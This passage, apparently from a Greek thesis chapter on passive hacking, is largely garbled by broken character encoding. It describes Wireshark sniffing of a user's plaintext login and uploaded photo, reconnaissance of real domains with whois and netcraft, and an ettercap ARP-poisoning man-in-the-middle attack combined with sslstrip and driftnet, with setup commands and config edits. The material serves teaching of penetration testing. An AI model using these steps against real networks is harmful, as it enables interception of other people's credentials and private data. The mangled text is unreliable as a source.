ηεν δηεωζςνζε να δεη ηη είναη ζε πεπίπηυζε πος είναη θάποηα ηζηοζειίδα ϊζηε να µαδέτεη αθψµα πεπηζζψηεπερ 

πιεποθοπίερ. 

 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 4.14 µία 
 

άιιε πιεποθοπία 

πος ζα µποποωζε να πάπεη θάποηορ παζεηηθά απψ ηο δίθηςο συπίρ να ενεπγοποηήζεη θάποηο indrusion detecrion 

system είναη ψηη ένα µεσάνεµα µε ηο ψνοµα Cisco-Li_95 7d:70 µε mac address 00:1e:e5:95:7d:70 
 
θαη ip 192.168.1.1 έσεη ζηείιεη θάποηο ARP ππυηψθοιιο ζηο δίθηςο ιέγονηαρ ποηορ έσεη ηεν δηεωζςνζε 
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192.168.1.101 . Σο ζςµπέπαζµα είναη ψηη αςηψ ηο µεσάνεµα είναη ο router ηος δηθηωος γηα να 

ηος παπαδϊζεη θάποηο παθέηο πος ήπζε απψ ηο δηαδίθηςο. 
 
 

 

εηθψνα 4.15 άιιε µία 

πιεποθοπία πος µποπεί 

να δεη παζεηηθά ο 

επηηηζέµενορ είναη ζηο 

παθέηο µε ζεηπηαθψ 

απηζµψ 193. ∆είσνεη ψηη 

ζςνδέζεθε ζηο δίθηςο 

ένα µεσάνεµα µε ψνοµα 
 

Apple_01:80:84 θαη 

θάνεη broadcast ζηο 

δίθηςο γηα να δεηήζεη να 

ηος δυζεί ε δηεωζςνζε 

ip 192.168.1.105. Αθοω πήπε ηεν δηεωζςνζε ip ζηο επψµενο παθέηο θάνεη ένα arp request ζηον πίναθα arp 

ηος router γηα να δεη ποηο µεσάνεµα ζηο δίθηςο έσεη ηεν δηεωζςνζε 192.168.1.1. Ο επηηηζέµενορ µποπεί 

επίζερ µε παζεηηθψ ηπψπο ψηη ηο µεσάνεµα µε ψνοµα Apple_01:80:84 , δηεωζςνζε ip 192.168.1.105 έσεη 

θαη ηεν mac δηεωζςνζε f0:c1:f1:01:80:84. 
 
 

 

εηθψνα 4.16 Άιιερ 
 

πιεποθοπίερ πος 

µποπεί να µαδέτεη 

παζεηηθά ο επηηηζέµενορ 

είναη ηα http requests 

ψπυρ ζε ποηα 

ηζηοζειίδα επηζθέπηεηε 

ηο ζωµα αν δεν ςπάπσεη 

θπςπηογπάθεζε. ΋πυρ 
 
θένεηε ζηεν παπαπάνυ εηθψνα ηο µεσάνεµα µε ηεν δηεωζςνζε 192.168.1.103 µε ηο ππυηψθοιιο http 

επηζθεωηεθε έναν ςποιογηζηή µε δηεωζςνζε 54.231.34.36 ψπος εθεί εξςπεπεηεί µία ηζηοζειίδα µε 

ψνοµα theuselessweb θαη url http://www.theuselessweb.com. 
 

Έναρ επηηηζέµενορ πος βπίζθεηε ζηο ζηάδηο ηος information gathering ζςιιέγονηαρ πιεποθοπίερ γηα 

έναν ζηψσο ϊζπος να βπεη ή να θηηάξεη µία αδςναµία γηα να εθµεηαιεςηεί µε θάποηο payload είναη ποιω 

ζςµανηηθψ να είναη απαπαηήππεηορ. ΢ε αςηψ ηο θοµµάηη ηερ δηαθπηηηθψηεηαρ ηο wireshark ζα είναη ένα 

ζποςδαίο επγαιείο γαη ζςιιογή πιεποθοπηϊν. 
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4.2.1 passive information gathering 
 

Τπάπσοςν πεπηπηϊζεηρ ψπος έναρ penetration tester ζέιεη να αζθαιείζεη µία επησείπεζε ή 

θάποηον οπγανηζµψ ππην πέζοςν ζωµαηα θςβεπνοεπίζεζερ απψ θαθψβοςιοςρ black hat hackers. 

 

Ένα σαπαθηεπεζηηθψ πος ππέπεη να έσεη έναρ σάθεπ είναη ψηη ππέπεη να είναη δηαθπεηηθψρ θαη να µεν 

ενεπγοποηεί µεσανηζµοςρ intrution detection systems ζηεν πποζπάζεηα να ζςιιέξεη πιεποθοπίερ ή ηεν 

ϊπα ηερ επίζεζερ. ΋ηαν ππαγµαηοποηήηαη µία πποεπγαζία ζςιιογήρ πιεποθοπηϊν γηα ηον ζηψσο ςπάπσεη 

ε πηζανψηεηα να ενεπγοποηεζεί θάποηορ ζςναγεπµψρ αν ηο information gathering σπεζηµοποηήηε θάποηορ 

vulnerability scanner ή θάποηορ scanner πος ζος δείνεη πιεποθοπίερ ψπυρ είναη ηο nmap. Αςηοί οη scanners 

αιιειεπηδποων άµεζζα µε ηα µεσανήµαηα ηυν ζηψσυν οπψηε δεν είναη θαη ποιω δηαθπηηηθψ. 
 

Έναρ ποηο δηαθπηηηθψρ ηπψπορ είναη ε µέζοδορ ηος passive information gathering. Αςηή ε µέζοδορ είναη γηα 

ζςιιογε πιεποθοπηϊν συπίρ ο penetration tester να αιιειεπηδπα µε ηα µεσανήµαηα. Είναη ηο monitoring 

traffic µέζα ζηο ζηο δίθηςο ή έξυ απψ ηο gateway ηος δηθηωος ή ςπάπσοςν ζςγθεθπηµένερ ηζηοζειίδερ ζηο 

δηαδωθηηο πος µποποων να θάνοςν ηο information gathering γηα ηον penetration tester συπίρ να δϊζεη 

ζηψσο άµεζα ζηον ζηψσο ο penetration tester. 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 4.17 αρ πποζπαζήζυ ζηο ζηάδηο ηος information gathering να µάζυ πιεποθοπίερ γηα θάποηοςρ 
οπγανηζµοωρ συπίρ να ςπάπσεη άµµεζε δηάδπαζε µε ηα µεσανήµαηα. ΢ηεν ζςγθεθπηµένε πεπίπηυζε ζα 

πποζπαζήζυ να µάζυ πιεποθοπίερ γηα ηο www.teicrete.gr. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

ε ηζηοζειίδα who.is είναη µία ηζηοζειίδα ζσεδηαζµένε γηα να ηερ δείνεη έναρ σπήζηερ ένα 
 
domain name θαη να θάνεη information gathering. Με αςηψν ηον ηπψπο επηηςνσάνεηαη ε 

έµµεζε ζςιιογή πιεθοποπηϊν ϊζηε να µεν ενεπγοποηεζεί θάποηορ µεσανηζµψρ ids ή θαη να 

ενεπγοποηεζεί ζα ήηαν θάποηα ζειίδα µε ψνοµα who.is. 
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εηθψνα 4.19 ζηεν ζειίδα ηος who.is ψηαν έγπατα γηα ηο domain name ηος teicrete έβγαιε ζαν 
αποηέιεζµα ψια ηα subdomain names πος ςπάπσοςν πίζυ απψ ηο teicrete.gr ψπυρ ηο fm1.teicrete.gr πος 

είναη ο παδηοθυνηθψρ ζηαζµορ , ηο student.teicrete.gr πος είναη ηο e-class Καη άιια ποιιά sub domains. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

µε ηο whois ζα πποζπαζήζυ να ζςιιέξυ πιεποθοπίερ γηα µία ηζηοζειίδα µε ψνοµα 
 
sustainablesites.org πος είναη µία ηζηοζειίδα απσηηεθηονηθήρ θηεπίυν. 
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εηθψνα 4.21 µε ηο whois εµθανίδεη πιεποθοπίερ γηα θαηασϊπεζερ , δηασείπεζερ θαη ηεσνηθήρ ςποζηήπηξερ 
 

ζηοησεία επηθοηνυνίαρ ψπος έσεη αςηψ ηο site ψπυρ mail , ηειέθυνα , γευγπαθηθέρ ζέζεηρ θαη 

ηασςδποµηθψρ θϊδηθαρ. 
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εηθψνα 4.22 ςπάπσεη µία ηζηοζειίδα γηα information gathering πος θαηα ηεν γνϊµε µος είναη θαιήηεπε 
απψ ηεν ζειίδα whois. Η ζειίδα www.netcraft.com ζα εµθανίζεη πεπηζζψηεπερ πιεποθοπίερ γηα ηεν 

ηζηοζειίδα sustainablesites.org ζε ζσέζε µε ηεν whois θαη ηα αποηειέζµαηα πος γωπηζε. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 4.23 ηα αποηειέζµαηα πος επηζηπέθεη ε ζειίδα netcraft απψ ηο information gathering πος έθανε γηα 

ηεν ζειίδα sustainablesites.org ήηαν ποιιά πεπηζζψηεπα απψ ηεν ζειίδα whois. Γςπνάεη ζηοησεία ψπυρ ποηα 

σπονηά ππυηοξεθίνεζε να είναη online ζηο δηαδίθηςο ε ηζηοζειίδα , ποηα γιϊζζα σπεζηµοποηεί , ποηα 

δηεωζςνζε ip έσεη , ζε ποηα σϊπα θηιοξενείηαη ε ηζηοζειίδα , ζε ποηα εηαηπία έθανε registered ηο domain name 

πος ζηεν πποθεηµένε πεπίπηυζε ε ζειίδα sustainablesites.org έσεη θαηυσςπϊζεη αςηψ ηο domain name ζηεν 

art.ns.cloudflare.com. 

 

Πεπηζζψηεπερ πιεποθοπίερ ψπυρ ηη ιεηηοςπγηθψ ζωζηήµα σπεζηµοποηεί ο server πος ζηεν 

πποθεηµένε πεπίπηυζε σπεζηµοποηεί linux ιεηηοςπγηθψ ζωζηεµα. 
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εηθψνα 4.24 πεπηζζψηεπερ πιεποθοπίερ απψ ηο netcraft ψπυρ ε ζειίδα ηος sustainablesites.org ζε ηη 
γιϊζζα ππογπαµµαηηζµοω είναη γπαµµένε. 
 

΢ηο ζςγθεθπηµένο παπάδεηγµα ηερ ζειίδαρ ο εξςπεπεηεηήρ είναη γπαµµένορ ζε php γιϊζζα θαη 

ηο ανηίγπαθο ηερ ηζηοζειίδαρ πος θηάνεη ζηεν οζψνε ηος σπήζηε είναη ζε γιϊζζα javascript. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 4.25 πεπηζζψηεπερ πιεποθοπίερ πος επέζηπετε ηο netcraft γηα ηεν ζειίδα sustainablesites.org 
 

ψπυρ πεπηζζψηεπα επγαιεία σπεζηµοποηεί ψπυρ ηο drupal πος είναη ένα επγαιείο γηα να θηηάσνεη θαη 

να ενεµεπϊνεη ηζηοζειίδερ πος ηο σπεζηµοποηεί ο δηασεηπεζηήρ. 

 

΋ιερ αςηέρ οη πιεποθοπίερ είναη ποιω ζςµανηηθέρ γηα έναν πος ζέιεη να οπγανϊζεη θάποηα 

θςβεπνοεπίζεζε. ΋ζερ πεπηζζψηεπερ έγθςπερ πιεποθοπίερ έσεη ο επηηηζέµενορ γηα ηον ζηψσο ηψζο 

πεπηζζψηεπε ζα είναη ε επηηςσία ψηαν ππαγµαηοποηεζεί µία επίζεζε. Σο θοµµάηη ηος information 

gathering είναη πάπα ποιω ζςµανηηθψ ψζο θαη ε ίδηα ε επίζεζε. 
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4.3 sniffing passwords and images with wireshark 
 

Έναρ ηπψπορ ςποθιοπήρ απσείυν ψπυρ βίνηεο , ήσο , εηθψνα θαη άιια έγπαθα συπίρ έναρ σπήζηερ 

παπεµβένεη άµεζα ζε θάποηο ςποιογηζηηθψ ζωζηεµα είναη να θάνεη monitoring ηεν θίνεζε θαη να θάνεη 

sniffing ηα παθέηα πος ηαξηδεωοςν ζηο δίθηςο έσονηαρ ζαν πιεποθοπία µέπορ ηος απσείος µέζα. Αν 

αςηά ηα παθέηα έσοςν ηα δεδοµένα πος σπεηάδονηε γηα να δεµηοςπγεζεί ηο απσείο θαη να µεν είναη 

θπςπηογπαθεµένα ηψηε ο επηηηζέµενορ µε παζεηηθψ ηπψπο µποπεί να ηα θάνεη sniffing µέζα ζηο ηοπηθψ 

δίθηςο ή ζηο gateway θάποηος router. 

 

΢ηο ζςγθεθπηµένο παπάδεηγµα θαζϊρ έναρ σπήζηερ ηος ηοπηθοω δηθηωος ζα ανεβάζεη θάποηα θυηογπαθία 

ζε έναν ηζηψηοπο έναρ επηηηζέµενορ ζα θάνεη monitoring ηεν θίνεζε ηος δηθηωος ϊζηε να ενηοπίζεη ηον 

σπήζηε πος ζα ανεβάζεη ηεν θυηογπαθία συπίρ να έσεη άµεζε επαθή µε ηον ςποιογηζηή. 

Παπαθοιοςζψνηαρ ηεν θίνεζε ηος δηθηωος µε ηο επγαιείο wireshark ζα πεπάζοςν ηα παθέηα ηος απσείος 

µέζα απψ ηο δίθηςο θαζϊρ ζα ανεβάζεη ζηεν ηζηοζειίδα ηεν θυηογπαθία. ΋ηαν ζα ενηοπηζηοων αςηά ηα 

ζςγθεθπηµένα παθέηα ζα αποµονυζοςν ζα αποζεθεςηοων θαη απψ εθεί θαη ωζηεπα ζα θαηαθέπεη ο 

επηηηζέµενορ να θάνεη extract ηεν θυηογπαθία µέζα απψ αςηά ηα παθέηα. 
 
 

 

Ένα δεωηεπο παπάδεηγµα ζα είναη πεπίπος ηο ίδηο απιά ο επηηηζέµενορ ζα θάνεη monitoring ηο δίθηςο µε 

ηο επγαιείο wireshark µέσπη ο ζηψσορ να πποζπαζεί να θάνεη log in ζε µία ηζηοζειίδα µε αποηέιεζµα ο 

επηηηζέµενορ να θαηαθέπεη να θάνεη sniffing ηα παθέηα πος µέζα ζηο πεπηεσψµενο ηοςρ πεπηέσοςν 

πιεποθοπίερ γηα username θαη password ηος σπήζηε πος πποζπάζεζε να θάνεη log in µέζα ζε µία 

ηζηοζειίδα µε ηον ιογαπηαζµψ ηος. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 4.26 ο σπήζηερ µέζα ζηο δίθηςο µψιηρ ζςνδέζεθε ζε µία ηζηοζειίδα πος ιέγεηε www.webs.com 
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εηθψνα 4.27 ζηο wireshark θαηαγπάθηεθε ηο tcp stream ψιυν ηυν παθέηυν πος σπεηάζηεθε γηα να θαιέζεη 
ηεν ηζηοζειίδα www.webs.com θαη να εµθανηζηεί ζηεν οζψνε ηος ζηψσος θαζϊρ ο επηηηζέµενορ έθανε 

monitoring ηο δίθηςο. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 4.28 Ο σπήζηερ βάδεη ηα πποζυπηθά ζηοησεία ηος να ζςνδεζεί. 
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εηθψνα 4.29 µεηά πος ο σπήζηερ έθανε log in ζηεν ηζηοζειίδα www.webs.com ο επηηηζέµενορ έταξε ζηα 

παθέηα πος έσεη θάνεη monitoring to wireshark θάποηο παθέηο πος µέζα ζηα πεπηεσψµενα να έσεη ηεν ιέξε 

username. Αν έσεη θάνεη log in ο σπήζηερ µε ηα ζηοησεία ηος πος είναη username θαη password ηο ποηο πηζανψν 

είναη να ςπάπσεη πιεποθοπία µέζα ζε θάποηο παθέηο ή ενυµένα παθέηα tcp streams ε πιεποθοπία πος να ιέεη 

username= θαη ο θυδηθψρ. Γηα να ξεσυπίζυ ένα ηέηοηο παθέηο ζε πεπίπηυζε πος ςπάπσεη σπεζηµοποίεζα ηο 

θίιηπο ip.addr eq 192.168.1.103 and http contains username. Γηα θαιή µος ηωσε ζαν επηηηζέµενορ µος 

εµθάνηζε θάποηα http παθέηα πος ζα πεπηέσοςν µέζα ηεν ιέξε username γηα να ηα ξεσϊπεζε. ζα θάνυ δεξί 

θιηθ ζε ένα παθέηο θαη ζα παηήζυ ηεν επηιογή tcp stream. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

εηθψνα 4.30 ψπυρ θένεηε ζηο screenshot ο επηηηζέµενορ θαηάθεπε να θάνεη sniffing ηο username θαη ηο 
password ψπος αναδηθνωεηαη µέζα ζηο ππάζηνο πιαίζηο. Σο username πος ππψζζεζε ο ζηψσορ ζηον browser ηος 

ήηαν hellowebs! ψπος ζηεν πποθεηµένε πεπίπηυζε ηο ζωµβοιο "!" ηο εµθανίδεη ζηεν δεθαεξαδηθή ηος µοπθή 

θαη ηο password πος είσε πποζζέζεη ο σπήζηερ είναη ηο whatsupwebs?? ψπος ηα ζωµβοια "?" ζηεν πποθεηµένε 

πεπίπηυζε ηα εµθανίδεη ζηεν δεθαεξαδηθή µοπθή ηοςρ. 
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εηθψνα 4.31 ζηο ζςγθεθπηµένο παπάδεηγµα ο επηηηζέµενορ ζα πποζπαζήζεη να ανεβάζεη µία θυηογπαθία ζε 

µία ηζηοζειίδα πος είναη γηα να ανεβάδεη θάποηορ θυηογπαθίερ θαη να ηηρ αποζεθεωεη εθεί έσυνηαρ µψνο ηο link 

ηερ θυηογπαθίαρ πος αποζεθεωηεθε γηα να ηο ζηείιεη ζε θάποηον άιιον σπήζηε. 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

εηθψνα 4.32 ο σπήζηερ έθανε upload ηεν θυηογπαθία ζηεν ηζηοζειίδα αιιά ηα παθέηα πος σπεηάζηεθαν 
γηα να ζηείιεη ηεν θυηογπαθία ζηον server ηερ ζειίδαρ γηα να ανέβεη ε θυηογπαθία πέπαζαν µέζα απψ ηο 

δίθηςο ψπος ηο wireshark ήηαν ζε monitoring mode. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 4.33 ηο wireshark θαηάθεπε να βπεη ζςγθενηπϊζεη θάποηα παθέηα πος αςηά ηα 

ενϊνεη θαη ψηη αςηή ε θυηογπαθία πποοπίδεηε γηα ηεν ζειίδα m.uploadedit.com . Σο 

wireshark ηεν έθανε sniffing θαη ο επηηηζέµενορ ηεν πήπε συπίρ να έσεη ππψζβαζε 

ζηον ςποιογηζηή ηος ζωµαηορ ή ζηον ςποιογηζηή ηος εξςπεπεηεηή. 
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εηθψνα 4.34 ο επηηηζέµενορ ζα αποζεθεωζεη ηοπηθά ηεν θυηογπαθία ηοπηθά ζηο µεσάνεµα ηος πος ηπέσεη 
ιεηηοςπγηθψ ζωζηεµα Kali linux 2. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

εηθψνα 4.35 µψιηρ αποζεθεωηηθε ε θυηογπαθία ζηεν ζέζε / ηος kali linux 2. 
 
 
 
 

΢ηα ζςγθεθπηµένα παπαδείγµα πος είδαµε ποηο πάνυ ππαγµαηοποηήζεθαν θάποηερ παζεηηθέρ επηζέζεηρ 

ψπος ο επηηηζέµενορ έθανε sniffing παθέηα πος είσαν µέζα εςαίζζεηερ πιεποθοπίερ ψπος ςποηίζεηε ψηη 

ήηαν εµπηζηεςηηθέρ µψνο γηα ηον σπήζηε πος ηηρ είσε. ΢ηα ζςγθεθπηµένα παπαδείγµαηα ψια ήηαν ζε µε 

θπςπηογπαθεµένερ ζςνδέζεηρ µεηαξω ηος ζηψσος θαη ηος server µε αποηέιεζµα ο επηηηζέµενορ να 

θαηαγπάθεη ηα παθέηα συπίρ να ςπάπσεη θάποηο ππψβιεµα. 
 

΢ηεν εποσή µαρ πος ηα πεπηζζψηεπα site σπεζηµοποηοων ηεσνηθέρ θπςπηογπάθεζερ ηος session µεηαξω ηος 

πειάηε θαη ηος εξςπεπεηεηή ηο wireshark απψ µψνο ηος ζα ήηαν αδωναηο να θαηαγπάτεη ηηρ πιεποθοπίερ 

άµα είναη θπςπηογπαθεµένερ. Γηα αςηψ έναρ πος ζέιεη να αζσοιεηζεί µε ηο penetration testing ζα ππέπεη 

να ζθεωηεηαη πεαιηζηηθά ζενάπηα. ΢ηεν ζςγθεθπηµένε πεπίπηυζε θπςπηογπάθεζερ ο επηηηζέµενορ ζα 

µποποωζε να ζςνδηάζεη ποιιά επγαιεία µαδί γηα να δοςιέτεη ηο wireshark µε επηηςσία. Γηα παπάδεηγµα ζα 

µποποωζε ο επηηηζέµενορ να σπεζηηµοποηήζεη µαδί µε ηο επγαιείο wireshark ηο ππψγπαµµα sslstrip ψπος 

αναδεηθνωυ ποηο πάνυ ζε άιιο θεθάιαηο. Η δοςιεία ηος ζςγθεθπηµένος επγαιείος είναη να θάνεη µία man 

in the middle επίζεζε ψπος πηάνεη ηα http παθέηα πος δεηάνεη µία tcp ζωνδεζε θπςπηογπαθεµένε απο ηον 

εξςπεπεηεηή θαη ηο sslstrip αιιάδεη αςηψ ηο http παθέηο θαη ηο ξαναζηέινεη ζηον πποοπηζµψ δεηϊνηαρ να 

γίνεη µία ζωνδεζε πος δεν ζα είναη θπςπηογπαθεµένε. Αν ππαγµαηοποηεζεί αςηψ µψιηρ ο επηηηζέµενορ 
 

179 



malware , active hacking ,passive hacking 
 

θαηάθεπε να θαηαγπάτεη ψια ηα δεδοµένα πος θςθιοθοποων ζηα παθέηα µε ηο wireshark συπίρ να 

είναη θπςπηογπαθεµένα. 
 
 
 
 
 
 

 

4.4 sniffing data from network with ettercap 
 
 
 
 

 

Κάποηερ παζεηηθέρ επηζέζεηρ πος µποποςν να ππαγµαηοποηεζοςν µε ιηγψηεπε ηαιεπυπία γηαηί ζα είναη 

ποηο αςηοµαηοποηεµένερ οη επηζέζεηρ µποπεί να γίνεη µε ηο επγαιείο ettercap. Σο ettercap είναη ένα 

επγαιείο man in the midle ψπος θάνεη monitoring ηο δίθηςο ψπος πεπνάεη ψιε ε θίνεζε ηος δηθηωος. 

Μποπεί να πςζµηζηεί απψ ηον επηηηζέµενο ψηαν ενηοπίζεη εςαίζζεηερ πιεποθοπίερ να θςθιοθοποων ζηο 

δίθηςο θαζϊρ γίνεηε monitoring ε θίνεζε να αποζεθεωονηε αςηψµαηα ζηον ςποιογηζηή ηος επηηηζέµενος. 
 

Ένα δεωηεπο επγαιείο πος ζα σπεηαζηϊ µαδί µε ηο ettercap είναη ηο επγαιείο sslstrip. Φςζηθά ηο ettercap 

µψνο ηος µποπεί να ζηήζεη µία επηηςσεµένε επίζεζε αιιά µε ηο επγαιείο sslstrip ζα θαηαθέπεη να βπίζθεη 

πεπηζζψηεπα εςαίζζεηα δεδοµένα ζε ςποηίζεηε θπςπηογπαθεµένερ ζςνδέζεηρ. . Η δοςιεία ηος 

ζςγθεθπηµένος επγαιείος είναη να θάνεη µία man in the middle επίζεζε ψπος πηάνεη ηα http παθέηα πος 

δεηάνεη µία tcp ζωνδεζε θπςπηογπαθεµένε απο ηον εξςπεπεηεηή θαη ηο sslstrip αιιάδεη αςηψ ηο http 

παθέηο θαη ηο ξαναζηέινεη ζηον πποοπηζµψ δεηϊνηαρ να γίνεη µία ζωνδεζε πος δεν ζα είναη 

θπςπηογπαθεµένε. Αν ππαγµαηοποηεζεί αςηψ µψιηρ ο επηηηζέµενορ θαηάθεπε να θαηαγπάτεη ψια ηα 

δεδοµένα πος θςθιοθοποων ζηα παθέηα µε ηο ettercap συπίρ να είναη θπςπηογπαθεµένα. 
 

Ένα ηπίηο επγαιείο πος ζα σπεηαζηϊ γηα αςηήν ηεν επίζεζε είναη ηο επγαιείο driftnet. Είναη ένα επγαιείο 

πος είναη πποεγθαηεζηεµένο ζηεν δηανοµή Kali linux 2. Αςηψ ηο επγαιείο είναη γηα να ππαγµαηοποηεί 

παζεηηθέρ επηζέζεηρ θαη να παπαθοιοςζεί ηεν θίνεζε ηος δηθηωος. Αν ενηοπίζεη θυηογπαθίερ ζηο δίθηςο να 

θςθιοθοποων ζε µοπθε παθέηυν πος έσοςν ηηρ πιεποθοπίερ ηο driftnet ζα ηα εµθανίζεη αςηψµαηα ζηο 

µεσάνεµα ηος επηηηζέµενος ζε ένα cmd παπάζςπο θαη ζα ηηρ αποζεθεωεη αςηψµαηα ζηον ςποιογηζηή ηος 

επηηηζέµενος. 
 
 
 
 
 
 
 
 
 
 
 

εηθψνα 4.36 ε ενηοιή echo 1> /proc/sys/net/ipv4/ip_forward είναη γηα να θάνεη ηο kali linux να ππουζεί ηα 
παθέηα δεδοµένυν πος ππορ ηον router θαη ζςγθεθπηµένα ζε αςηψ ηο παπάπδεηγµα ηα παθέηα δεδοµένυν πος ζα 

έπσονηε απψ άιιοςρ ςποιογηζηέρ αςηοω ηος δηθηωος. 
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εηθψνα 4.37 µε ηεν ενηοιή leafpad /etc/ettercap/etter/conf ζα ανοίξυ µε ηο ππψγπαµµα leafpad ηο απσείο 
etter.conf γηα να θάνυ θάποηερ ηποποποηήζεηρ ππην ξεθηνήζεη ε επίζεζε. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 4.38 µέζα ζηο απσείο ηος etter.conf ε παπάµεηπορ ec_uid αν είναη δηαθοπεηηθή απψ ηεν ηηµή 0 
 

ππέπεη να αιιάξεη θαη να γίνεη 0. 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 4.39 οη 2 παπάµεηποη redir_command_on θαη redir_command_off θάηυ απψ ηο ζσψιηο # if you use 
iptables ππέπεη να είναη συπίρ ηο ζωµβοιο hashtag "#" θαη µε ηο ζςγθεθπηµένο string µεηά ηεν απψδοζε ηηµήρ. 

Αν αςηέρ οη 2 παπάµεηποη έσοςν µπποζηά ηο ζωµβοιο "#" ππέπεη να βγεη. 
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εηθψνα 4.40 γηα να ξεθηνήζεη ηο γπαθηθψ πεπηβάιιον ηος επγαιείος ettercap ζε ένα cmd ζα δϊζυ ηεν 
ενηοιή ettercap -G ψπος ε παπάµεηπορ G ζα πεη graphical. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 4.42 
 

γπαθηθψ 

πεπηβάιιον 

ηος ettercap. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

εηθψνα 4.43 παηάυ ηεν επηιογή unifid sniffing γηα να ξεθηνήζεη sniffing παθέηυν ζηο lan δίθηςο. 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 4.44 wlan0 ππην ξεθηνήζεη ε δηαδηθαζία ηος sniffing πυηάεη ηο ettercap µε ποηο interface θάπηαρ 
δηθηωος να παπαθοιοςζεί ηεν θίνεζε ηος δηθηωος. 
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εηθψνα 4.45 ηεν επηιογή scan for hosts ζα θάνεη scan ηο δίθηςο γηα να δεη ηη hosts είναη ζςνδεµένοη ζηο 
δίθηςο γηα να ηα έσεη ζαν ζηψσο ψηαν ζα θάνεη monitoring ηο δίθηςο. 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 4.46 5 hosts βπέζεθαν ζηο δίθηςο θαη αποζεθεωηηθαν ζε µία βάζε δεδοµένυν. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

εηθψνα 4.47 ε ιίζηα πος αποζήθεςζε ηοςρ hosts ηος δηθηωος. Οη ζηψσοη µαρ ζα είναη ηο µεσάνεµα µε ηεν 
δηεωζςνζε 192.168.1.1 ψπος είναη ο router. Θα θιηθάπυ ηεν επηιογή 192.168.1.1 θαη ζα παηήζυ ηεν επηιογή 

add to target 1 θαη µεηά ο δεωηεπορ ζηψσορ ζα είναη ηο µεσάνεµα µε ηεν δηεωζςνζε 192.168.1.107 ζα ηο 

επηιέξυ θαη ζα παηήζυ ηεν επηιογή add to target 2. 
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εηθψνα 4.48 target 1 είναη ηο gateway ηος δηθηωος. Target 2 είναη ε δηεωζςνζε ηος ςποιογηζηή ζηψσος. 
 
Μεηά ζηο πάνυ menu ζα παηήζυ ηεν επηιογή Mitm θαη ζα παηήζυ ηεν επηιογή ARP poisoning. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 4.49 µεηά ζα πεηάξεη ένα άιιο παπάζςπο θαη ζα παηήζυ ηεν επηιογή sniff remote connections. 
 
 
 
 
 
 

 

εηθψνα 4.50 µαδί µε ηο ettercap ζα ππέπεη να ηπέξυ ζε ένα άιιο ηεπµαηηθψ ηεν εθαπµογή sslstrip γηα να 
µεν ςπάπσοςν θπςπηογπαθεµένα δεδοµένα ζηα παθέηα θαζϊρ ζα ειένσεη ψιε ηεν θίνεζε θαη ηο ettercap ζηο 

δίθηςο πος είναη οη ςποιογηζηέρ ζηψσοη. 
 
 
 
 
 
 
 
 
 

 

ζα ανοίξυ ένα ηπίηο ηεπµαηηθψ ψπος ζα ξεθηνήζυ ηεν εθαπµογή driftnet δείνονηαρ ηεν ενηοιή 
 
driftnet -i wlan0. Θα ξεθηνήζεη ε εθαπµογή driftnet θαη ζα ειένσεη ηο δίθηςο απψ ηεν 

αζωπµαηε δηεπαθή ηερ θάπηαρ δηθηωος πος ζηηρ δηανοµέρ linux ζςµβοιίδεηε µε ηο wlan0. 
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εηθψνα 4.52 ο ςποιογηζηήρ ζηψσορ µε ηεν δηεωζςνζε ip 192.168.1.107 άνοηξε ηον browser θαη θψπηυζε ηεν 

ηζηοζειίδα instagramm. Η θπςπηογπάθεζε µεηαξω ηος πειάηε θαη ηος εξςπεπεηεηή δεν ππαγµαηοποηήζεθε 

ποηέ εξεηίαρ ηος sslstrip οπψηε ηο ettercap είσε ηεν ποιςηέιεηα να ζθανάπεη ηα παθέηα δεδοµένυν ζηο δίθηςο 

πος ζηέινεη ο 192.168.1.107. βπήθε ηα παθέηα πος πεπηέσοςν αποθπςπηογπαθεµένερ εηθψνερ πος είσαν ζηαιζεί 

απψ ηεν ζειίδα ηος instagram γηα εµθάνηζε ζηον browser ηος ζηψσος θαη ηηρ έθανε sniffing ηο ettercap. Με ηεν 

ζεηπά ηος µεηά ηο driftnet ηηρ παποςζίαζε ζε ένα ηεπµαηηθψ cmd ψζερ θυηογπαθίερ εµθανίζηεθαν ζηον 

ςποιογηζηή ηος ζωµαηορ. 
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